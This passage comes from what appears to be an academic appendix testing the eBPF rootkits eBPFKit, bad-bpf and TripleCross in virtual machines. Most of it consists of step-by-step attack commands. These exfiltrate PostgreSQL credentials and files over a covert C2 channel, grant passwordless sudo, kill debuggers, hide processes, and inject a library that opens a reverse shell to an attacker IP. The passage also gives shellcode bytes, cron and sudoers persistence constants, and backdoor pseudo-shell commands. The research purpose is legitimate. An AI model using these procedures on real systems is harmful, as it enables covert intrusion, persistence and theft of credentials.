to the web application on routes not intercepted by the rootkit (and therefore

not manipulated by XDP) successfully traverse the network, reach their des-

tination, and elicit the expected response from the web app. This behavior

was validated by executing the command curl http://192.168.1.98:8000

/healthcheck. This confirms that there are no network connectivity issues

between the two machines.

• Verification of potential firewalls interfering with traffic. Even after disabling

both UFW (Uncomplicated Firewall, the commonly used firewall by Ubuntu)

and AppArmor (a mandatory access control in Ubuntu), the issue persists,

indicating that neither of these security mechanisms is responsible for the

problem.

• Checking system configurations to ensure no settings are restricting traffic.

This involves examining the kernel configuration using the command cat

/boot/config-$(uname -r) | grep BPF, which filters out BPF-related set-

tings in the kernel to confirm that the necessary options for eBPF functionality

are enabled and not restricting traffic.

• Traffic monitoring using tcpdump on port 8000 (command: sudo tcpdump
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-A -i enp0s3 port 8000): it revealed that requests sent by the attacker via

ebpfkit-client successfully reach the interface in the expected modified format,

effectively concealing the original attacker’s request. This confirms that the

traffic is correctly intercepted and altered by the XDP module before being

forwarded to the web app (if the issue had originated within the XDP module,

the traffic would neither appear in tcpdump nor be modified). Despite this,

the web app does not respond to these requests. Additionally, some packets

were observed with incorrect checksums. To address this, an attempt was

made to disable checksum offloading on the network interface using the com-

mand sudo ethtool -K enp0s3 tx off rx off. However, this adjustment

had no impact on the test results.

• All tests were also replicated on the AWS (Amazon Web Services) platform,

reproducing the same setup (two virtual machines and a web app), with a

Classic Load Balancer used to manage HTTP requests. The results remained

unchanged, leading to the conclusion that there may be compatibility issues

within the code.

Network Data Extraction via Passive Sniffing

Through passive traffic sniffing, eBPFKit aims to intercept as much informa-

tion as possible about the network traffic exchanged by the compromised machine.

The goal of this attack is to build a comprehensive map of all other systems it

communicates with, potentially identifying targets for further attacks or gathering

intelligence about the network environment. By operating passively, the rootkit

avoids altering the traffic or raising suspicion, enabling it to quietly collect valuable

data for reconnaissance.

1. Open a shell and start the rootkit:

1 sudo ./bin/ebpfkit -l debug

2. In a new shell, use the client to start the network discovery procedure:

1 ebpfkit -client -l debug network_discovery get

Figure B.9 provides an excerpt from the command output.
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Figure B.9: Passive network discovery output.

3. Ebpfkit also supports viewing the information obtained in an svg file. To do

so, it is necessary to install graphvz and execute the export command:

1 sudo apt install graphviz

2 fdp -Tsvg /tmp/network -discovery -graph -2289236813 > ./

graphs/passive_network_discovery.svg

Note: network-discovery-graph-2289236813 is the name assigned to the

graph generated in step 2 output, so it changes each time data extraction is

performed.

Expected result: since the rootkit is active, it starts collecting data on the net-

work to which the victim VM is connected, including all incoming and outgoing

connections. This command allows data to be collected and organized into a graph.

Attack Succeeded: the result obtained matches the expected result.

Network Data Extraction from Attacker VM

Replication of the same attack using a remote machine.
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1. Ensure that the rootkit, web app, and ngrok are active on the victim VM.

Performs the following commands in three different shells:

1 sudo ./bin/ebpfkit -l debug

1 sudo ./bin/webapp

1 ngrok http 8000

2. On the attacker VM, run the command to perform the network discovery

procedure:

1 sudo ebpfkit -client -l debug --target <http_ngrok >

network_discovery get

Expected result: even when executed from a remote VM, the goal is to collect

data on the network to which the victim VM is connected, including all incoming

and outgoing connections.

Actual result: Although the requests are correctly routed to the victim machine,

as confirmed by reviewing the ngrok terminal, the data collected and subsequently

received by the attacker’s machine is unreliable. A diagnostic process similar to

the one outlined in the "Problem Diagnosis" section was conducted, leading to the

same conclusion: the issue likely stems from a compatibility problem within the

code.

Attack Failed.

Data Exfiltration Attack

Postgres Data Exfiltration

The goal of this attack is to gain access to confidential PostgreSQL information,

specifically the list of available accounts on the victim machine along with their

associated passwords. This is achieved by replicating the Command and Control

(C2) mechanism: the attacker sends an HTTP request to the victim machine,

which is intercepted by an eBPF program leveraging XDP. The outgoing traffic is

then intercepted by the TC (Traffic Control) subsystem, which modifies the HTTP

response packet to include the results of the attacker’s request.
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1. On the victim VM, ensure that the rootkit and the web app are running, and

Postgres is configured (see previous sections).

2. In a new shell, to extract the Postgres user list, run the following command:

1 ebpfkit -client -l debug postgres list

Figure B.10: List of PostgreSQL credential retrieved from the target system.

Expected result: Retrieve the list of current PostgreSQL users along with their

corresponding passwords, whether stored in plain text or encrypted.

Actual result: the result matches the expected outcome, as shown in Figure B.10.

Attack succeeded.

Data Exfiltration from Specific File

The goal of the attack is to access the contents of a specific file, even if it is

protected by sudo privileges. This is achieved through an HTTP request, leveraging

the C2 mechanism.

1. Ensure the rootkit and web app are running.

2. Run the following command to set an fs_watch on the specified file, in this

example, /etc/hosts:

1 ebpfkit -client -l debug fs_watch add /etc/hosts

3. After receiving the 200 OK response from the web app, as shown in Figure

B.11, it is necessary to wait for the victim to perform some operations on the

file or operations that involve opening it in general.

Simulate this operations with the commands:
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Figure B.11

1 sudo su

2 exit

4. Then, issue the command to retrieve the desired file:

1 ebpfkit -client -l debug fs_watch get /etc/hosts

Expected result: extract the content of the /etc/hosts file.

Actual result: as shown in Figure B.12, the result obtained matches the expected

outcome.

Attack succeeded.

Figure B.12: Contents of the /etc/host file retrieved from the victim.

Attack Replication from a Remote VM

Replicating both Data Exfiltration attacks from the attacker VM, does not

yield the desired results. The tests were carried out also trying two different tar-
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get address, obtaining different responses. In the first case, the attacker’s ma-

chine targeted the direct route to the victim VM 192.168.1.160:8000 (i.e., vic-

tim_ip:webapp_port). All requests sent to this target remain in a pending state.

In the second case, the target was the HTTP address provided by ngrok. In this

second scenario, the attacker successfully receives a response; however, the content

is an empty file. An example of the output is shown in the Figure B.13.

These tests can be replicated by repeating the procedures just described, but exe-

cuting the ebpfkit-client commands from this section on the attacker machine

and including the –target <target> field.

These additional tests confirm the previously observed issues with the modified

outgoing traffic on the victim machine.

Figure B.13: Contents of the /etc/host file received on the attacker machine.

Program Obfuscation

The rootkit successfully hides its operations from log files like dmesg.

Running the command:

1 dmesg | grep ebpf

While the rootkit is active, it does not produce any output and remains in a pending

state, indicating that the rootkit is intercepting or blocking the expected response.

After stopping the rootkit and re-running the same command, the complete list of
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requests made by ebpfkit becomes visible. Figure B.14 provides an example of the

output generated once the rootkit is no longer running.

Figure B.14: Log messages visible upon rootkit shutdown

Summary

The tests were replicated with the same results as just presented on Ubuntu

20.04, Ubuntu 20.04.1, and Ubuntu 20.04.6, using the following Linux kernel ver-

sions:

• 5.4.0-26-generic

• 5.8.0-53-generic

• 5.6.9-050609-generic

• 5.10.0-051000-generic

The tests conducted on version 5.5.0-050500-generic exhibited unpredictable behav-

ior, while from Linux kernel versions 5.13.0-21-generic and later, code compatibility

is no longer guaranteed.

The current version of the code also does not guarantee compatibility with Ubuntu

versions other than 20.04. It is important to note that this rootkit was developed

to demonstrate a Proof of Concept (PoC) showcasing the malicious capabilities of

eBPF, not to provide a versatile malware solution across multiple environments.
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Test performed on bad-bpf

This section provides a detailed report of the tests performed using the repos-

itory "bad-bpf" [33], developed by Path Hogan. To execute the programs in this

repository, root access is always required. This assumes an attack scenario in which

the attacker has temporarily gained root access to the machine.

VM Setup

Required Tools and Software

• Computing device equipped with an Intel Core i5 processor (x86_64);

• Oracle VirtualBox for virtualization purposes;

• ISO: ubuntu-22.04.5-desktop-amd64.iso.

The virtual machine was allocated with 9GB of base memory and 4 processors.

Procedure VM Setup Procedure:

1. Verify that the account being used is equipped with sudo permissions. Then

install Linux Kernel version 5.15. These operations are very similar to steps

1-2 in the "VM Setup" section of eBPFkit report (Appendix B), so they are

only mentioned here and not elaborated upon. Note that the kernel version

used is different.

1 su -

2 usermod -aG sudo <user_name >
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3 # to restart the system

4 reboot

1 sudo apt install linux -image -5.15.0 -97 - generic linux -

headers -5.15.0 -97 - generic

2 sudo grub -mkconfig | grep -iE "menuentry ’Ubuntu , with

Linux" | awk ’{print i++ " : "$1 , $2 , $3, $4, $5 , $6}’

Based on the output of the previous command, update the GRUB_DEFAULT

value in the /etc/default/grub file to match the entry corresponding to the

desired kernel version. (See section "VM Setup" of eBPFkit in Appendix B

for further explanations).

1 sudo nano /etc/default/grub

2 # Modify then the line GRUB_DEFAULT =0 in GRUB_DEFAULT

="1 >4" if the selected entry is 4

3 sudo update -grub

4 sudo systemctl reboot

2. Install llvm version 14.0:

1 sudo apt update

2 sudo apt install -y wget software -properties -common

3 wget https ://apt.llvm.org/llvm.sh

4 chmod +x llvm.sh

5 sudo ./llvm.sh 14

6 sudo apt install llvm -14

7

8 export PATH=/usr/lib/llvm -14/ bin:\ $PATH

3. Install all the necessary tools and libraries required for the setup:

1 sudo apt install build -essential linux -tools -common linux -

tools -generic

2 sudo apt install clang -14 libelf -dev zlib1g -dev libbfd -dev

libcap -dev

3 sudo apt install pkg -config

4

5 # mapping of clang -14 on the generic command clang

6 sudo ln -sf $(which clang -14) /usr/bin/clang
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4. Install git and clone bad-bpf repository:

1 sudo apt -get install git

2 git clone https :// github.com/pathtofile/bad -bpf.git

Navigate to the folder containing the cloned repository, ensuring you are inside

the directory where the repository was downloaded. Once inside, build the

project:

1 cd src

2 make

Privilege Escalation Attack

The malicious eBPF program used is designed to allow a user without privileges

to perform sudo operations, thus with privileges. This is done by modifying the

return value of the function that reads the /etc/sudoers/, which contains the de-

scription of each user’s privileges. The program will cause the function to return the

string “<username> ALL=(ALL:ALL) NOPASSWD:ALL", enabling passwordless root

access for the user.

1. Testing privilege before the malicious program is executed:

1 sudo -l

As shown in the Figure C.1, the user was prompted for a password to ac-

cess the /etc/sudoers file, and the current privilege type is (ALL:ALL) ALL,

which grants root access but is protected by the user’s password.

Figure C.1: User privileges before running the attack

2. Now, open a new shell and start the program:

1 cd bad -bpf/src

2 sudo ./ sudoadd --username <username >
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Replace <username> with the actual account name being used.

3. In another shell (it is necessary for the program launched in step 2 to remain

active), attempt sudo access again:

1 sudo -l

As shown in the output in Figure C.2, the string “<username> ALL=(ALL:ALL)

NOPASSWD:ALL" has been overwritten in the returned data values, and no pass-

word was requested from the user.

Figure C.2: User privileges after running the attack

Attack Partially Succeeded: the attack appears to have been successful. How-

ever, despite the result just presented, further tests have shown that when invoking

other operations with sudo privileges, the user is still prompted for a password.

Therefore, it can be concluded that the success of this test is only partial.

DoS Attack

The eBPF program used to carry out this attack aims to send a SIG_KILL signal,

which is the signal that forcibly terminates a process, to any program that uses the

ptrace syscall. Compromising the use of this syscall allows the attacker to obstruct

any attempts by the user to trace potentially malicious activities being carried out.

1. Open a shell to execute the malicious program:

1 cd bad -bpf/src

2 sudo ./ bpfdos

2. Open a new shell and run a command that invokes the ptrace syscall, the

target of the attack. Below are some examples of commands you can execute:

1 # Traces the system calls of ls and their results , showing

how it interacts with the kernel.
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2 strace ls

3

4 # Displays the call stack (active functions) of the <pid >

process , useful for analyzing its current state.

5 pstack <pid >

6

7 # Attaches the GDB debugger to the <pid > process to

analyze or modify its execution.

8 gdb -q -p <pid >

Figure C.3: Processes killed by bad-bpf

Attack Succeeded: As shown in the output in Figure C.3, all the invoked pro-

grams have been forcibly terminated.

Process Hiding Attack

The goal of this attack is to hide any process linked to a specified PID, making it

invisible to tools like ps that are used to monitor active processes. For an attacker,

this could provide many advantages, such as avoiding detection or, in some cases,

bypassing security tools.

1. Open a shell and execute a new program that will run in the background. An

example program could be the following, which starts a background process

that will remain active for 5 minutes:

1 sleep 300 &

Note down the PID of the process that will be returned as output. In this

example, the value return by the system is 11887.

2. Verify that the process is visible using two different methods with the same

purpose. The ps command queries the system to retrieve information about
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running processes, while ls /proc lists all directories in /proc, each repre-

senting an active process:

1 ps -fp 11887

2 ls /proc | grep 11887

Figure C.4 shows that the program correctly appears in the list of active

processes before the attack is initiated.

Figure C.4: Output which correctly showing the active process

3. Open a new shell to execute the malicious program:

1 cd bad -bpf/src

2 sudo ./ pidhide --pid -to-hide <pid >

4. Repeat the command from step 2 in the same shell to display the active

processes.

Figure C.5: Output with the malicious program running

Attack Succeeded: As shown in Figure C.5, the malicious program successfully

hides the target program from the list of active processes. However, it is important

to note that the actions of this eBPF program, in its current implementation, are

not concealed from the system. For instance, by invoking the command "ps aux |

grep 11887", it becomes evident that the execution of the program itself, which is

intended to hide the PID, can still be detected, as shown in Figure C.6.

Summary

The tests were replicated with the same results as just presented on Ubuntu

20.04, Ubuntu 22.04.5 using the following Linux kernel versions:
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Figure C.6: The PID-hiding program can be easily detected

• 5.15.0-97-generic

• 5.19.0-46-generic

• 6.2.0-33-generic

• 6.5.0-45-generic

• 6.8.0-40-generic

All tests conducted using Linux kernel versions earlier than those mentioned, or

on a different platform, such as Ubuntu 21.04, were unsuccessful. This is because

the code relies on CO-RE (Compile Once - Run Everywhere), a feature introduced

with eBPF that allows programs to run across different kernel versions without re-

compilation. CO-RE works by leveraging BTF (BPF Type Format), which enables

eBPF programs to adapt dynamically to kernel changes. However, for CO-RE to

function, the Linux kernel must support BTF, which is only available in more recent

kernel and Ubuntu versions. Therefore, the failure of the tests on older versions is

likely due to the absence of this required BTF type information.
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Test performed on TripleCross

This section provides a detailed report of the tests conducted on the rootkit

"TripleCross" [24] [28], developed by Marcos Sánchez Bajo . The success of the

attacks carried out by the rootkit assumes a scenario where an attacker manages

to gain privileged access to the target machine, even if only temporarily, to install

the malicious code. The target system must have the CAP_SYS_ADMIN capability,

which allows the attacker to load and execute all the eBPF programs utilized by

the rootkit.

VM Setup

Required Tools and Software

• Computing device equipped with an Intel Core i5 processor (x86_64);

• Oracle VirtualBox for virtualization purposes;

• ISO: ubuntu-21.04-desktop-amd64.iso for the victim VM

• ISO: ubuntu-20.04-desktop-amd64.iso for the attacker VM

The virtual machines were allocated with 9GB of base memory and 4 processors.

Procedure VM Setup Procedure:

1. Verify that the account being used is equipped with sudo permissions. If not,

perform the following commands:
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1 su -

2 usermod -aG sudo <user_name >

3 # to restart the system

4 reboot

2. Ubuntu 21.04 (Hirsute) has reached the end of its lifecycle, so its official repos-

itories have been moved to old-releases.ubuntu.com. Therefore, it is necessary

to modify the /etc/apt/sources.list file to point to the old-releases repos-

itories to ensure access to the required packages. Modify the repository file

/etc/apt/sources.list by replacing all existing links. Specifically, all oc-

currences of http://it.archive.ubuntu.com/ubuntu/ or http://security

.ubuntu.com/ubuntu/ should be replaced with http://old-releases.ubuntu

.com/ubuntu/.

1 sudo nano /etc/apt/source.list

2 # Replace all occurrences of http ://it.archive.ubuntu.com/

ubuntu/ and http :// security.ubuntu.com/ubuntu/ with

http ://old -releases.ubuntu.com/ubuntu/

Save the changes and close the file. To update the list of available packages:

1 sudo apt update

3. The Linux kernel version required for these tests is 5.11.0-16-generic, which

is the one already included in the ISO. If the version does not match, please

refer to the previous reports for the procedure to replace the kernel version.

4. Verify the version and, if necessary, install GCC version 10.3.0:

1 gcc --version

2

3 # if not already installed

4 sudo apt install gcc g++

5 sudo update -alternatives --install /usr/bin/gcc gcc /usr/

bin/gcc -10 100

5. Verify the version and, if necessary, install CLANG version 12.0.0:

1 clang --version

2
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3 # if not already installed

4 sudo apt install clang -12

5 sudo ln -s /usr/bin/clang -12 /usr/bin/clang

6. Verify the version and, if necessary, install GLIBC version 2.33:

1 ldd --version

7. Verify that the kernel headers are installed in lib/modules/$(uname -r).

The following command checks their existence (if the directory exists, the

headers are already installed).

1 ls /lib/modules/$(uname -r)/build

2

3 # if not already installed

4 sudo apt install linux -headers -$(uname -r)

8. Install the remaining packages required for compiling the rootkit and create

their symbolic links:

1 sudo apt install libelf -dev zlib1g -dev libc6 -dev -i386

libssl -dev llvm -12 build -essential

2 sudo ln -s /usr/lib/x86_64 -linux -gnu/libbpf.so.0 /usr/lib/

x86_64 -linux -gnu/libbpf.so

3 sudo ln -s /usr/bin/llvm -strip -12 /usr/bin/llvm -strip

4 sudo ln -s /usr/bin/llc -12 /usr/bin/llc

9. In the VirtualBox settings for the VM, set the network mode to Bridged

Adapter to allow the VMs to connect to each other and to the host computer’s

network.

10. Install Git and clone the TripleCross repository:

1 sudo apt install git

2 git clone https :// github.com/h3xduck/TripleCross.git

The repository already includes the modules related to libbpf; proceed with

their installation.

1 cd TripleCross/src/libbpf/src

2 make

3 sudo make install
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At this stage of the procedure, the rootkit build process should be initiated.

However, during testing, it became evident that certain modifications to the

code were necessary to ensure successful execution. These adjustments were

required due to the presence of hardcoded elements in the code, such as file

paths and user names, which were specifically tailored to a different system

environment. Since these static references did not align with the configuration

of the testing machine, it was necessary to adapt the code to reflect the

actual structure and setup of the system being used. The table provides a

summary of the modifications performed. It is important to highlight that

the testing environment was configured with the following parameters, which

should be carefully reviewed and adjusted if the rootkit is deployed on a

different machine:

• Username: vboxuser

• Path to the repository containing the rootkit: /home/vboxuser/TripleCross

• Size of the /etc/sudoers file:

Code D.1: Value for CODE_CAVE_SHELLCODE ASSEMBLE 2

1 \xff\xd3\x48\x89\xc3

2 \xc7\x00\x2f\x68\x6f\x6d

3 \xc7\x40\x04\x65\x2f\x76\x62

4 \xc7\x40\x08\x6f\x78\x75\x73

5 \xc7\x40\x0c\x65\x72\x2f\x54

6 \xc7\x40\x10\x72\x69\x70\x6c

7 \xc7\x40\x14\x65\x43\x72\x6f

8 \xc7\x40\x18\x73\x73\x2f\x73

9 \xc7\x40\x1c\x72\x63\x2f\x68

10 \xc7\x40\x20\x65\x6c\x70\x65

11 \xc7\x40\x24\x72\x73\x2f\x69

12 \xc7\x40\x28\x6e\x6a\x65\x63

13 \xc7\x40\x2c\x74\x69\x6f\x6e

14 \xc7\x40\x30\x5f\x6c\x69\x62

15 \xc7\x40\x34\x2e\x73\x6f\x00

16 \x48\xb8

Some notes on the modified values:
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Filename Constant Value

helpers/deployer.sh

BASEDIR /home/vboxuser/TripleCross/apps

CRON_PERSIST * * * * * vboxuser /bin/sudo

/home/vboxuser/TripleCross/apps/deployer.sh

SUDO_PERSIST vboxuser ALL=(ALL:ALL) NOPASSWD:ALL #

common/constants.h

STRING_FS_SUDOERS

ENTRY

vboxuser ALL=(ALL:ALL) NOPASSWD:ALL #

STRING_FS_SUDOERS

ENTRY_LEN

38

PATH_EXECUTION

HIJACK_PROGRAM

/home/vboxuser/TripleCross/src/helpers/

execve_hijack

CODE_CAVE SHELL-

CODE ASSEMBLE 2

See Code D.1

CODE_CAVE SHELL-

CODE ASSEMBLE 2

LEN

104

helpers/execve_hijack.c Row 275 – args[1] /home/vboxuser/TripleCross/src/helpers

/execve_hijack

user/include/

modules/injection.h

Row 12 (modify path

only)

/home/vboxuser/TripleCross/src/helpers/

execve_hijack

helpers/injection_lic.c ATTACKER_IP 192.168.1.81

ebpf/include/bpf/fs.h Row 139 – int CHARS

TO OVERRIDE

718

helpers/simple_open.c Row 16 - path /home/vboxuser/TripleCross/src/helpers

/Makefile

Table D.1: Constants to be modified. Add the prefix ’TripleCross/src’ to each path

listed in the Filename column.

• The value in Code D.1 internally encodes the path /home/vboxuser/Triple-

Cross/src/helper/injection_lib.so. Therefore, on a different machine, if

the path does not match, the hexadecimal value needs to be recalculated.

• The value "718" assigned to CHARS_TO_OVERRIDE represents the num-

ber of padding characters ("#") that the rootkit will insert into the

/etc/sudoers file to hide all its contents, except for the string it over-

writes ("vboxuser ALL=(ALL:ALL) NOPASSWD:ALL #"). This value

depends on the size of the /etc/sudoers file, which may vary across sys-

tems, and on the length of the overwritten string, which changes based on

the length of the username. To calculate the value, subtract the length
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of the overwritten string from the total length of the /etc/sudoers file,

i.e., CHARS_TO_OVERRIDE = Length of /etc/sudoers - Length of

the string.

To determine the size of /etc/sudoers, the following command can be

used:

1 wc -c /etc/sudoers

11. The rootkit and its client can now be built. To proceed, navigate to the folder

containing the cloned repository and execute the make commands.

1 cd TripleCross/src

2 make all

3 # build the client

4 cd client

5 make

12. Configuration of TC to attach eBPF filters to network traffic on the enp0s3 in-

terface. Ensure that the commands are executed within the TripleCross/src

directory.

1 sudo tc qdisc add dev enp0s3 clsact

2 sudo tc filter add dev enp0s3 egress bpf direct -action obj

bin/tc.o sec classifier/egress

Privilege Escalation Attack

As explained in Chapter 5, the rootkit manipulates the process of reading the

/etc/sudoers file to grant the user of the infected machine sudo access without

requiring a password. This functionality is automatically activated in background

when the rootkit is started.

1. Testing privilege before the rootkit is executed:

1 sudo -l

At this moment, to gain sudo privileges, the user is prompted for a password

because they are registered in the file with rights (ALL:ALL) ALL, which re-

quire a password. The output produced matches what is shown in Figure

C.1.
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2. In a new shell, start the rootkit by running:

1 cd TripleCross/src

2 sudo ./bin/kit -t enp0s3

Where enp0s3 is the network interface used.

3. In another shell (it is necessary for the rootkit launched in step 2 stay running),

attempt sudo access again:

1 sudo -l

As shown in the output in Figure D.1, the string “<username> ALL=(ALL:ALL)

NOPASSWD:ALL" has been completely overwritten in the returned data values,

and no password was requested from the user.

Figure D.1: User privileges after running the attack

Attack Succeeded: The rootkit successfully grants the user elevated privileges

without requiring a password. For example, an operation like editing a system

file (e.g., /etc/passwd) using sudo nano /etc/passwd can be executed directly

without prompting the user for a password. Tests across various operations confirm

that, as long as the rootkit remains active, no password prompt is triggered for any

sudo action. This ensures the attacker continuous privileged access.

Library Injection Attack

Using the library injection module described in Section 4.5.2, the goal of this

attack is to manipulate the execution of a running process to initiate a reverse shell

to the attacker’s machine. A reverse shell is a type of connection where the com-

promised system establishes an outbound connection to the attacker, allowing the

attacker to execute commands remotely.

The targeted syscalls in this attack are sys_timerfd_settime and sys_openat. To

test the functionality of the rootkit’s library injection module, two sample programs
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are provided: simple_timer.c and simple_open.c. These programs specifically

trigger the targeted syscalls in order to simulate the attack.

Execution Hijacking of sys_timerfd_settime

1. First, it is necessary to start a new VM to use as the attacker. The setup of this

VM is omitted at this stage because no specific distribution or kernel version

is required. The attacker’s machine only needs to be capable of listening on

port 5555 using Netcat. If Netcat is not available on the selected VM, it can

be installed using:

1 sudo apt install netcat

2 # Depending on the distribution being used , netcat -

traditional might be required

For these tests, a VM running Ubuntu 20.04.6 with Linux Kernel version

5.4.0-94-generic was used. The attacker VM was then configured in Bridged

Mode to ensure it was on the same local network as the infected machine.

2. Set the attacker machine to listen on port 5555, waiting for the reverse shell

from the victim VM:

1 nc -nlvp 5555

3. On the victim VM, ensure that the attacker’s IP address is set correctly.

Table D.1 specifies the file where the constant ATTACKER_IP can be found and

modified. For these tests, the attacker’s IP address is set to 192.168.1.81.

Adjust this value to match the IP address of the attacker machine being used.

Please note that any changes made to the rootkit’s code require the make

operation to be repeated.

4. On the victim VM, test the functionality of the simple_timer program when

the rootkit is not active:

1 cd TripleCross/src/helpers

2 ./ simple_timer

The program runs without issues or any changes to its execution.

5. On the victim VM, start the rootkit:
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1 cd TripleCross/src

2 sudo ./bin/kit -t enp0s3

6. On the victim VM, in a different shell from the one where the rootkit is

running, re-execute the simple_timer program as shown in step 3.

Figure D.2: Execution of simple_timer when the rootkit is running.

Figure D.3: Reverse shell opened on the attacker machine listening on port 5555.

Expected result: The syscall sys_timerfd_settime is intercepted by the rootkit,

triggering the library injection and enabling the opening of a reverse shell on the

attacker’s machine.

Attack Succeeded: the result obtained matches the expected result. In Fig-

ure D.2, the message "Library successfully injected" confirms that the rootkit

successfully executed the module. A connection from the victim machine (IP

192.168.1.195) was established on the attacker’s machine, granting access to the

reverse shell. Figure D.3 shows the attacker’s perspective.

To verify the functionality of the reverse shell, on the attacker machine the com-

mand whoami was executed, confirming that the session was running under the vic-

tim machine’s user. Additionally, the command echo "Test" > test_program.txt

was used to test the creation a new file on the victim machine. The file was suc-

cessfully created and available in the victim VM, confirming the reverse shell’s

functionality.
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Execution Hijacking of sys_openat

To perform this attack, simply replicate the steps followed for the execution hi-

jacking of sys_timerfd_settime, replacing the file simple_timer with simple_timer.

Expected result: The syscall sys_openat is intercepted by the rootkit, triggering

the library injection and enabling the opening of a reverse shell on the attacker’s

machine.

Attack Succeeded: As in the previous case, the reverse shell was successfully

established on the attacker’s machine. By repeating the test commands within

the reverse shell, as detailed in the previous section, its proper functionality was

confirmed.

Execution Hijacking without using a test program

The programs simple_timer and simple_open were used to test the rootkit’s

functionality in a more controlled manner. However, this functionality can also be

applied to any system function that utilizes the targeted syscalls. To do this, the

parameters must be modified as shown in the Table. After making these changes,

rebuild the rootkit with the make command and reactivate it. From this point for-

ward, any operation that invokes sys_timerfd_settime or sys_openat will trigger

the opening of a reverse shell.

Filename Constant Value

TripleCross/src/

common/constants.h

TASK_COMM NAME_INJECTION

TARGET_TIMERFD_SETTIME

systemd

TripleCross/src/

common/constants.h

TASK_COMM_NAME_INJECTION

TARGET_OPEN

systemd

Table D.2: Constants to be modified to attack systemd

To verify proper functionality, the usage was forced with the following generic

command:

1 sudo systemctl daemon -reexec

Attack Succeeded: the reverse shell is successfully opened.
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Command & Control Attack using a Backdoor

In this attack, the rootkit leverages a backdoor to allow the attacker to send

commands remotely to the infected machine using the rootkit’s client on the at-

tacker’s system. The backdoor acts as a hidden access point, enabling the attacker

to execute commands on the victim machine without the need for direct physical

access or standard authentication methods, thereby maintaining stealth and control

over the system.

To perform this attack, the rootkit client must be installed on the attacker’s ma-

chine. It is noted that the machine being used as the attacker for these tests is

running Ubuntu 20.04.6 with Linux version 5.4.0-94-generic. The attacker’s VM

is also configured to be on the same local network (LAN) as the victim machine.

Execute the following commands to properly configure the client:

1 sudo apt install git

2 git clone https :// github.com/h3xduck/TripleCross.git

3 cd TripleCross/src/client

4 make

Launching of a pseudo-shell or phantom-shell

1. Ensure that the rootkit is active on the VM; if not, start it:

1 cd TripleCross/src

2 sudo ./bin/kit -t enp0s3

2. From the attacker VM, send the following command:

1 cd TripleCross/src/client

2 sudo ./ injector -e 192.168.1.195

Note that 192.168.1.195 is the IP address of the victim machine. If the tests

are conducted in a different environment, this value should be adjusted ac-

cordingly. After executing the command, the attacker will be prompted in

the terminal to specify the network interface to use. In these tests, the correct

interface is enp0s3.

112



APPENDIX D. TEST PERFORMED ON TRIPLECROSS

Expected result: remote access from the attacker’s terminal to a pseudo-shell on

the victim machine, allowing command execution as if locally present on the victim

system. It is important to note that to properly close the opened pseudo-shell with-

out interfering with the rootkit running on the victim machine, the command EXIT

must be used. Closing the shell using the typical terminal shortcut to terminate a

process (Ctrl+C) is not the correct method.

Attack Succeeded: the attacker successfully gains access to the victim machine.

Figure D.4 illustrates the attacker’s terminal after successfully connecting to the

backdoor. Several operations were performed to test the functionality of the pseudo-

shell, all of which were completed successfully. These included verifying the active

user on the victim machine using the whoami command, accessing sensitive files such

as /etc/passwd to confirm read permissions, and remotely terminating a process

to demonstrate control over the victim machine’s operations.

Figure D.4: Pseudo-shell spawned by rootkit client.

The rootkit allows the initiation of a pseudo-shell using two additional back-

door activation modes, each with a different triggering mechanism. Both modes

were tested, successfully achieving the expected result, consistent with the outcome
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previously demonstrated (Figure D.4). Specifically, the other two commands that

can be used as alternatives to the command in step 2 are:

• sudo ./injector -s 192.168.1.195: It successfully launches the pseudo-

shell, gaining access to the backdoor using a multi-packet approach based

on a pattern. This means that activating the backdoor requires sending a

specific sequence of packets to the victim (whereas in the previous case, a

single packet was sufficient).

• sudo ./injector -p 192.168.1.195: It launches a phantom shell, a more

concealed variant of the pseudo-shell, using a pattern-based trigger. In this

case, the client must wait for the victim machine to send a TCP packet to

activate the shell. To test this functionality, it is necessary to generate a TCP

packet from the victim machine. This can be done, for example, by running

the command curl http://test.com.

Sending Commands for Attaching/Detaching eBPF

This attack allows the attacker to remotely control the rootkit on the victim

VM, deciding to detach or attach all eBPF programs loaded by the rootkit, except

those related to the backdoor, to maintain remote access.

1. Ensure that the rootkit is active on the VM; if not, start it:

1 cd TripleCross/src

2 sudo ./bin/kit -t enp0s3

2. From the attacker VM, send the following command to detach all eBPF pro-

gram:

1 cd TripleCross/src/client

2 sudo ./ injector -u 192.168.1.195

3. To confirm that the eBPF programs have been successfully detached on the

victim machine, one can attempt to reproduce one of the previous attacks,

such as executing simple_timer or checking the user’s privileges. For in-

stance, if running sudo -l prompts the user to enter a password, it indicates

that the eBPF programs related to privilege escalation have been correctly

detached as requested. This condition was successfully verified.
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4. To reactivate the rootkit’s eBPF programs, use the client on the attacker

machine:

1 cd TripleCross/src/client

2 sudo ./ injector -a 192.168.1.195

5. By attempting to access sudo -l again on the victim machine, it is possible to

confirm whether the user has regained sudo privileges without being prompted

for a password.

Attack Succeeded: The attacker successfully detaches and reattaches the rootkit’s

eBPF programs remotely without losing access to the established backdoor.

Execution Hijacking Attack

Using the methods described in the Section 4.5.2, the goal of this attack is to

manipulate the execution of any program by intercepting the sys_execve syscall.

This allows the execution of a malicious program before the intended program is

run. Specifically, the malicious program executed by the rootkit is designed to

connect to the rootkit client on the attacker’s machine, enabling the attacker to

open a pseudo-shell. This part of the attack combines techniques previously used

for Command and Control (C2) through the backdoor.

The initial code configuration specified that the rootkit would attempt to manip-

ulate the sys_execve syscall only when invoked by the simple_execve program,

a test utility provided by the rootkit itself. However, with these settings, no tests

were successful, as attempts to access the parameters passed to the function re-

sulted in page faults. Before proceeding with the process, it is therefore necessary

to adjust the values as specified in the Table D.3.

1. Use the client on the attacker’s VM to send the packets that the executed

malicious program must recognize to activate the pseudo-shell:

1 cd TripleCross/src/client

2 sudo ./ injector -c 192.168.1.195

2. On the victim VM, ensure that the rootkit is running. Then, execute the

program simple_execve:
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Filename Constant Value

TripleCross/src/

common/constants.h

EXEC_HIJACK_ACTIVE 1

TripleCross/src/

common/constants.h

TASK_COMM_RESTRICT_HIJACK_

ACTIVE

0

TripleCross/src/

common/constants.h

TASK_COMM_NAME_RESTRICT_

HIJACK

""

Table D.3: Constants to be modified to hijack any sys_execve.

1 cd TripleCross/src/helpers

2 ./ simple_execve

This program, when run without the rootkit active, is expected to simply

print the path where it is being executed. However, with the rootkit active,

the output changes, as shown in the Figure, demonstrating that the malicious

program’s code was executed before the actual program’s execution and the

path being printed.

Figure D.5: Simple_execve program executed when the rootkit is running.

3. The executed malicious program recognized the packets sent from the at-

tacker’s machine and enabled the activation of the pseudo-shell.

4. From the attacker’s machine, verify the functionality of the shell accessed by

executing a command such as whoami and waiting for a response from the

victim.

